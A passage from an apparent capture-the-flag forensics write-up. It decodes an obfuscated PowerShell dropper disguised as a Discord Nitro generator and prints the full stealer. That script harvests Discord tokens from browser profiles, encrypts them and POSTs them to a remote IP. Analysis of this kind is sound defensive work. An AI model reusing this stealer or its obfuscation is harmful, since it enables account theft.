GbpZGJg0zKgMnblt2b0RCIgACIgACIgACIgACIgACIgACIgoQD7BSKpcSf1kDLwgzed1ydctlLcFmZtdCIscSfwETMsUjM71VL3x1WuwVf2sXXtcHXb5CX9ZjM71VL3x1WngCQg4WaggXZnVmckgCIoNWYlJ3bmBCIgACIgACIgACIgACIgAiCNoQDw9GdTBibvlGdjFkcvJncF1CI3FmUtASZtFmTsxWdG5yXkACa0FGUtACduVGdu92QtQXZHBSPgQnblRnbvNUZslmZkACIgACIgACIgACIgACIgAiCNsHI5JHdgACIgACIgACIgACIK0AIgACIgACIgACIgAiCNsHI0NWZqJ2Ttg2YhVkcvZEI8BSZjJ3bG1CIlNnc1NWZS1CIlxWaG1CIoRXYwRCIoRXYQ1CItVGdJRGbph2QtQXZHBCIgACIgACIK0wegknc0BCIgAiCNoQDpgCQg0DIz5WZr9GdkACIgAiCNoQDpACIgAiCNgGdhBHJddmbpJHdztFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIsFWZ0NFIu9Wa0Nmb1ZmCNoQDiEGZ3pWYrRmap9maxomczkDOxomcvADOwgjO1MTMuYTMx4CO2EjLykTMv8iOwRHdoJCI9ACTSVFJ\"</span> <span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$s0yAY2gmHVNFd7QZ</span> = <span class=\"token variable\">$jozeq3n</span><span class=\"token punctuation\">.</span>ToCharArray<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">;</span> <span class=\"token namespace\">[array]</span>::Reverse<span class=\"token punctuation\">(</span><span class=\"token variable\">$s0yAY2gmHVNFd7QZ</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">;</span> <span class=\"token operator\">-join</span> <span class=\"token variable\">$s0yAY2gmHVNFd7QZ</span> 2>&amp;1> <span class=\"token variable\">$null</span> <span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$LOaDcODEoPX3ZoUgP2T6cvl3KEK</span> = <span class=\"token namespace\">[sYSTeM.TeXt.ENcODING]</span>::UTf8<span class=\"token punctuation\">.</span>geTSTRiNG<span class=\"token punctuation\">(</span><span class=\"token namespace\">[SYSTEm.cOnVeRT]</span>::FRoMBaSe64sTRing<span class=\"token punctuation\">(</span><span class=\"token string\">\"<span class=\"token variable\">$s0yAY2gmHVNFd7QZ</span>\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">;</span>\n<span class=\"token variable\">$U9COA51JG8eTcHhs0YFxrQ3j</span> = <span class=\"token string\">\"Inv\"</span><span class=\"token operator\">+</span><span class=\"token string\">\"OKe\"</span><span class=\"token operator\">+</span><span class=\"token string\">\"-EX\"</span><span class=\"token operator\">+</span><span class=\"token string\">\"pRe\"</span><span class=\"token operator\">+</span><span class=\"token string\">\"SSI\"</span><span class=\"token operator\">+</span><span class=\"token string\">\"On\"</span> <span class=\"token punctuation\">;</span> <span class=\"token function\">New-alIaS</span> <span class=\"token operator\">-</span>Name pWn <span class=\"token operator\">-</span>VaLuE <span class=\"token variable\">$U9COA51JG8eTcHhs0YFxrQ3j</span> <span class=\"token operator\">-</span>FoRcE <span class=\"token punctuation\">;</span> pWn <span class=\"token variable\">$lOADcODEoPX3ZoUgP2T6cvl3KEK</span> <span class=\"token punctuation\">;</span></code></pre></div>\n<p>This script actually executes the following code.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token variable\">$URL</span> = <span class=\"token string\">\"http://192.168.116.135:8080/rj1893rj1joijdkajwda\"</span>\n\n<span class=\"token keyword\">function</span> Steal <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">param</span> <span class=\"token punctuation\">(</span>\n        <span class=\"token namespace\">[string]</span><span class=\"token variable\">$path</span>\n    <span class=\"token punctuation\">)</span>\n\n    <span class=\"token variable\">$tokens</span> = @<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">Get-ChildItem</span> <span class=\"token operator\">-</span>Path <span class=\"token variable\">$path</span> <span class=\"token operator\">-</span>File <span class=\"token operator\">-</span>Recurse <span class=\"token operator\">-</span>Force <span class=\"token punctuation\">|</span> <span class=\"token function\">ForEach-Object</span> <span class=\"token punctuation\">{</span>\n\n            <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n                <span class=\"token variable\">$fileContent</span> = <span class=\"token function\">Get-Content</span> <span class=\"token operator\">-</span>Path <span class=\"token variable\">$_</span><span class=\"token punctuation\">.</span>FullName <span class=\"token operator\">-</span>Raw <span class=\"token operator\">-</span>ErrorAction Stop\n\n                <span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$regex</span> in @<span class=\"token punctuation\">(</span><span class=\"token string\">'[\\w-]{26}\\.[\\w-]{6}\\.[\\w-]{25,110}'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'mfa\\.[\\w-]{80,95}'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                    <span class=\"token variable\">$tokens</span> <span class=\"token operator\">+=</span> <span class=\"token variable\">$fileContent</span> <span class=\"token punctuation\">|</span> <span class=\"token function\">Select-String</span> <span class=\"token operator\">-</span>Pattern <span class=\"token variable\">$regex</span> <span class=\"token operator\">-</span>AllMatches <span class=\"token punctuation\">|</span> <span class=\"token function\">ForEach-Object</span> <span class=\"token punctuation\">{</span>\n                        <span class=\"token variable\">$_</span><span class=\"token punctuation\">.</span>Matches<span class=\"token punctuation\">.</span>Value\n                    <span class=\"token punctuation\">}</span>\n                <span class=\"token punctuation\">}</span>\n            <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">return</span> <span class=\"token variable\">$tokens</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> GenerateDiscordNitroCodes <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">param</span> <span class=\"token punctuation\">(</span>\n        <span class=\"token namespace\">[int]</span><span class=\"token variable\">$numberOfCodes</span> = 10<span class=\"token punctuation\">,</span>\n        <span class=\"token namespace\">[int]</span><span class=\"token variable\">$codeLength</span> = 16\n    <span class=\"token punctuation\">)</span>\n\n    <span class=\"token variable\">$chars</span> = <span class=\"token string\">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'</span>\n    <span class=\"token variable\">$codes</span> = @<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$i</span> = 0<span class=\"token punctuation\">;</span> <span class=\"token variable\">$i</span> <span class=\"token operator\">-lt</span> <span class=\"token variable\">$numberOfCodes</span><span class=\"token punctuation\">;</span> <span class=\"token variable\">$i</span><span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token variable\">$code</span> = <span class=\"token operator\">-join</span> <span class=\"token punctuation\">(</span>1<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token variable\">$codeLength</span> <span class=\"token punctuation\">|</span> <span class=\"token function\">ForEach-Object</span> <span class=\"token punctuation\">{</span> <span class=\"token function\">Get-Random</span> <span class=\"token operator\">-</span>InputObject <span class=\"token variable\">$chars</span><span class=\"token punctuation\">.</span>ToCharArray<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n        <span class=\"token variable\">$codes</span> <span class=\"token operator\">+=</span> <span class=\"token variable\">$code</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">return</span> <span class=\"token variable\">$codes</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">Get-DiscordUserInfo</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token namespace\">[CmdletBinding()]</span>\n    <span class=\"token keyword\">Param</span> <span class=\"token punctuation\">(</span>\n        <span class=\"token namespace\">[Parameter(Mandatory = $true)]</span>\n        <span class=\"token namespace\">[string]</span><span class=\"token variable\">$Token</span>\n    <span class=\"token punctuation\">)</span>\n\n    <span class=\"token keyword\">process</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$Headers</span> = @<span class=\"token punctuation\">{</span>\n                <span class=\"token string\">\"Authorization\"</span> = <span class=\"token variable\">$Token</span>\n                <span class=\"token string\">\"Content-Type\"</span> = <span class=\"token string\">\"application/json\"</span>\n                <span class=\"token string\">\"User-Agent\"</span> = <span class=\"token string\">\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36\"</span>\n            <span class=\"token punctuation\">}</span>\n\n            <span class=\"token variable\">$Uri</span> = <span class=\"token string\">\"https://discord.com/api/v9/users/@me\"</span>\n\n            <span class=\"token variable\">$Response</span> = <span class=\"token function\">Invoke-RestMethod</span> <span class=\"token operator\">-</span>Uri <span class=\"token variable\">$Uri</span> <span class=\"token operator\">-</span>Method Get <span class=\"token operator\">-</span>Headers <span class=\"token variable\">$Headers</span>\n            <span class=\"token keyword\">return</span> <span class=\"token variable\">$Response</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> Create-AesManagedObject<span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$IV</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$mode</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$aesManaged</span> = <span class=\"token function\">New-Object</span> <span class=\"token string\">\"System.Security.Cryptography.AesManaged\"</span>\n\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"CBC\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::CBC <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"CFB\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::CFB<span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"CTS\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::CTS<span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"ECB\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::ECB<span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"OFB\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::OFB<span class=\"token punctuation\">}</span>\n\n\n    <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Padding = <span class=\"token namespace\">[System.Security.Cryptography.PaddingMode]</span>::PKCS7\n    <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>BlockSize = 128\n    <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>KeySize = 256\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$IV</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$IV</span><span class=\"token punctuation\">.</span>getType<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Name <span class=\"token operator\">-eq</span> <span class=\"token string\">\"String\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>IV = <span class=\"token namespace\">[System.Convert]</span>::FromBase64String<span class=\"token punctuation\">(</span><span class=\"token variable\">$IV</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>IV = <span class=\"token variable\">$IV</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">.</span>getType<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>Name <span class=\"token operator\">-eq</span> <span class=\"token string\">\"String\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Key = <span class=\"token namespace\">[System.Convert]</span>::FromBase64String<span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Key = <span class=\"token variable\">$key</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token variable\">$aesManaged</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> Encrypt-String<span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$plaintext</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$bytes</span> = <span class=\"token namespace\">[System.Text.Encoding]</span>::UTF8<span class=\"token punctuation\">.</span>GetBytes<span class=\"token punctuation\">(</span><span class=\"token variable\">$plaintext</span><span class=\"token punctuation\">)</span>\n    <span class=\"token variable\">$aesManaged</span> = Create-AesManagedObject <span class=\"token variable\">$key</span>\n    <span class=\"token variable\">$encryptor</span> = <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>CreateEncryptor<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token variable\">$encryptedData</span> = <span class=\"token variable\">$encryptor</span><span class=\"token punctuation\">.</span>TransformFinalBlock<span class=\"token punctuation\">(</span><span class=\"token variable\">$bytes</span><span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> <span class=\"token variable\">$bytes</span><span class=\"token punctuation\">.</span>Length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token namespace\">[byte[]]</span> <span class=\"token variable\">$fullData</span> = <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>IV <span class=\"token operator\">+</span> <span class=\"token variable\">$encryptedData</span>\n    <span class=\"token namespace\">[System.Convert]</span>::ToBase64String<span class=\"token punctuation\">(</span><span class=\"token variable\">$fullData</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">Write-Host</span> <span class=\"token string\">\"\n______              ______ _                       _   _   _ _ _               _____  _____  _____   ___\n|  ___|             |  _  (_)                     | | | \\ | (_) |             / __  \\|  _  |/ __  \\ /   |\n| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \\| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |\n|  _| '__/ _ \\/ _ \\ | | | | / __|/ __/ _ \\| '__/ _` | | . ` | | __| '__/ _ \\    / /  |  /| |  / / / /_| |\n| | | | |  __/  __/ | |/ /| \\__ \\ (_| (_) | | | (_| | | |\\  | | |_| | | (_) | ./ /___\\ |_/ /./ /__\\___  |\n\\_| |_|  \\___|\\___| |___/ |_|___/\\___\\___/|_|  \\__,_| \\_| \\_/_|\\__|_|  \\___/  \\_____/ \\___/ \\_____/   |_/\n\n                                                                                                         \"</span>\n<span class=\"token function\">Write-Host</span> <span class=\"token string\">\"Generating Discord nitro keys! Please be patient...\"</span>\n\n<span class=\"token variable\">$local</span> = <span class=\"token variable\">$env</span>:LOCALAPPDATA\n<span class=\"token variable\">$roaming</span> = <span class=\"token variable\">$env</span>:APPDATA\n<span class=\"token variable\">$part1</span> = <span class=\"token string\">\"SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf\"</span>\n\n<span class=\"token variable\">$paths</span> = @<span class=\"token punctuation\">{</span>\n    <span class=\"token string\">'Google Chrome'</span> = <span class=\"token string\">\"<span class=\"token variable\">$local</span>\\Google\\Chrome\\User Data\\Default\"</span>\n    <span class=\"token string\">'Brave'</span> = <span class=\"token string\">\"<span class=\"token variable\">$local</span>\\BraveSoftware\\Brave-Browser\\User Data\\Default\\\"</span>\n    <span class=\"token string\">'Opera'</span> = <span class=\"token string\">\"<span class=\"token variable\">$roaming</span>\\Opera Software\\Opera Stable\"</span>\n    <span class=\"token string\">'Firefox'</span> = <span class=\"token string\">\"<span class=\"token variable\">$roaming</span>\\Mozilla\\Firefox\\Profiles\"</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token variable\">$headers</span> = @<span class=\"token punctuation\">{</span>\n    <span class=\"token string\">'Content-Type'</span> = <span class=\"token string\">'application/json'</span>\n    <span class=\"token string\">'User-Agent'</span> = <span class=\"token string\">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token variable\">$allTokens</span> = @<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$platform</span> in <span class=\"token variable\">$paths</span><span class=\"token punctuation\">.</span>Keys<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$currentPath</span> = <span class=\"token variable\">$paths</span><span class=\"token punctuation\">[</span><span class=\"token variable\">$platform</span><span class=\"token punctuation\">]</span>\n\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">-not</span> <span class=\"token punctuation\">(</span><span class=\"token function\">Test-Path</span> <span class=\"token variable\">$currentPath</span> <span class=\"token operator\">-</span>PathType Container<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token keyword\">continue</span><span class=\"token punctuation\">}</span>\n\n    <span class=\"token variable\">$tokens</span> = Steal <span class=\"token operator\">-</span>path <span class=\"token variable\">$currentPath</span>\n    <span class=\"token variable\">$allTokens</span> <span class=\"token operator\">+=</span> <span class=\"token variable\">$tokens</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token variable\">$userInfos</span> = @<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">foreach</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$token</span> in <span class=\"token variable\">$allTokens</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$userInfo</span> = <span class=\"token function\">Get-DiscordUserInfo</span> <span class=\"token operator\">-</span>Token <span class=\"token variable\">$token</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$userInfo</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token variable\">$userDetails</span> = <span class=\"token namespace\">[PSCustomObject]</span>@<span class=\"token punctuation\">{</span>\n            ID = <span class=\"token variable\">$userInfo</span><span class=\"token punctuation\">.</span>id\n            Email = <span class=\"token variable\">$userInfo</span><span class=\"token punctuation\">.</span>email\n            GlobalName = <span class=\"token variable\">$userInfo</span><span class=\"token punctuation\">.</span>global_name\n            Token = <span class=\"token variable\">$token</span>\n        <span class=\"token punctuation\">}</span>\n        <span class=\"token variable\">$userInfos</span> <span class=\"token operator\">+=</span> <span class=\"token variable\">$userDetails</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token variable\">$AES_KEY</span> = <span class=\"token string\">\"Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=\"</span>\n<span class=\"token variable\">$payload</span> = <span class=\"token variable\">$userInfos</span> <span class=\"token punctuation\">|</span> <span class=\"token function\">ConvertTo-Json</span> <span class=\"token operator\">-</span>Depth 10\n<span class=\"token variable\">$encryptedData</span> = Encrypt-String <span class=\"token operator\">-</span>key <span class=\"token variable\">$AES_KEY</span> <span class=\"token operator\">-</span>plaintext <span class=\"token variable\">$payload</span>\n\n<span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$headers</span> = @<span class=\"token punctuation\">{</span>\n        <span class=\"token string\">'Content-Type'</span> = <span class=\"token string\">'text/plain'</span>\n        <span class=\"token string\">'User-Agent'</span> = <span class=\"token string\">'Mozilla/5.0'</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token function\">Invoke-RestMethod</span> <span class=\"token operator\">-</span>Uri <span class=\"token variable\">$URL</span> <span class=\"token operator\">-</span>Method Post <span class=\"token operator\">-</span>Headers <span class=\"token variable\">$headers</span> <span class=\"token operator\">-</span>Body <span class=\"token variable\">$encryptedData</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">catch</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">Write-Host</span> <span class=\"token string\">\"Success! Discord Nitro Keys:\"</span>\n<span class=\"token variable\">$keys</span> = GenerateDiscordNitroCodes <span class=\"token operator\">-</span>numberOfCodes 5 <span class=\"token operator\">-</span>codeLength 16\n<span class=\"token variable\">$keys</span> <span class=\"token punctuation\">|</span> <span class=\"token function\">ForEach-Object</span> <span class=\"token punctuation\">{</span> <span class=\"token function\">Write-Output</span> <span class=\"token variable\">$_</span> <span class=\"token punctuation\">}</span></code></pre></div>\n<p>This script encrypts secret information obtained from the system and exfiltrates it via a POST request.</p>\n<p>The data actually being sent can be confirmed from the pcap file as follows.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/d996bbea66389f9eb897a800fc909121/0d0e4/image-20240311000210644.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 32.916666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABL0lEQVQoz52Qv0sCcRjGv//BXdwtBkndqdydd4PomSm11xI4OByYqNEZaFBTtBVNzs6nTjUEZwSdQSSHBN1WEG6G0NAazcHT987ateHD87zP+2N4STaVRFbXsZHJQIrFEF4KYzEUAsMwWGBZsDPgz3EcB57nQb5GI3i9HrY3tyArcayIIsRoNECIROaGeLYNq9lEqVDArmGgVtpBrVjEPtVGtYpGpTKlXA70wM8odVrXfzOfI9OEkc+DvA1cTNwhPl9e8fHkYfwwwHjo4dm5R7/TgWO1Aw2g/q7bDXAsC/32tHdLvXtxidbpGcj75Bs314+wr1ycHJ8jmUggl1tHSk/TFyhzIUkSyJ55iPTqGmRZhqppgcqyBIUOqKo6Mxrd9XeIICwjTo0f/DX+i3/wB1eBBvhDB7XJAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/d996bbea66389f9eb897a800fc909121/8ac56/image-20240311000210644.webp 240w,\n/static/d996bbea66389f9eb897a800fc909121/d3be9/image-20240311000210644.webp 480w,\n/static/d996bbea66389f9eb897a800fc909121/e46b2/image-20240311000210644.webp 960w,\n/static/d996bbea66389f9eb897a800fc909121/fc6cc/image-20240311000210644.webp 1230w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/d996bbea66389f9eb897a800fc909121/8ff5a/image-20240311000210644.png 240w,\n/static/d996bbea66389f9eb897a800fc909121/e85cb/image-20240311000210644.png 480w,\n/static/d996bbea66389f9eb897a800fc909121/d9199/image-20240311000210644.png 960w,\n/static/d996bbea66389f9eb897a800fc909121/0d0e4/image-20240311000210644.png 1230w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/d996bbea66389f9eb897a800fc909121/d9199/image-20240311000210644.png\"\n            alt=\"image-20240311000210644\"\n            title=\"image-20240311000210644\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The exfiltrated data is created in the following section.</p>\n<p>After encrypting the plaintext with AES using a hardcoded key, the IV used during encryption is concatenated with the encrypted data, and the Base64-encoded string is sent externally.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token keyword\">function</span> Encrypt-String<span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$plaintext</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$bytes</span> = <span class=\"token namespace\">[System.Text.Encoding]</span>::UTF8<span class=\"token punctuation\">.</span>GetBytes<span class=\"token punctuation\">(</span><span class=\"token variable\">$plaintext</span><span class=\"token punctuation\">)</span>\n    <span class=\"token variable\">$aesManaged</span> = Create-AesManagedObject <span class=\"token variable\">$key</span>\n    <span class=\"token variable\">$encryptor</span> = <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>CreateEncryptor<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token variable\">$encryptedData</span> = <span class=\"token variable\">$encryptor</span><span class=\"token punctuation\">.</span>TransformFinalBlock<span class=\"token punctuation\">(</span><span class=\"token variable\">$bytes</span><span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> <span class=\"token variable\">$bytes</span><span class=\"token punctuation\">.</span>Length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token namespace\">[byte[]]</span> <span class=\"token variable\">$fullData</span> = <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>IV <span class=\"token operator\">+</span> <span class=\"token variable\">$encryptedData</span>\n    <span class=\"token namespace\">[System.Convert]</span>::ToBase64String<span class=\"token punctuation\">(</span><span class=\"token variable\">$fullData</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Since we know the IV size is 16 bytes, we separated the IV and the encrypted text from the decoded Base64 text and performed decryption with the following script.</p>\n<div class=\"gatsby-highlight\" data-language=\"powershell\"><pre class=\"language-powershell\"><code class=\"language-powershell\"><span class=\"token keyword\">function</span> Create-AesManagedObject<span class=\"token punctuation\">(</span><span class=\"token variable\">$key</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$IV</span><span class=\"token punctuation\">,</span> <span class=\"token variable\">$mode</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token variable\">$aesManaged</span> = <span class=\"token function\">New-Object</span> <span class=\"token string\">\"System.Security.Cryptography.AesManaged\"</span>\n\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"CBC\"</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token variable\">$aesManaged</span><span class=\"token punctuation\">.</span>Mode = <span class=\"token namespace\">[System.Security.Cryptography.CipherMode]</span>::CBC <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">elseif</span> <span class=\"token punctuation\">(</span><span class=\"token variable\">$mode</span>=<span class=\"token string\">\"CFB\"</span><span class=\"token punctuation\">)</span> <span class=\"token 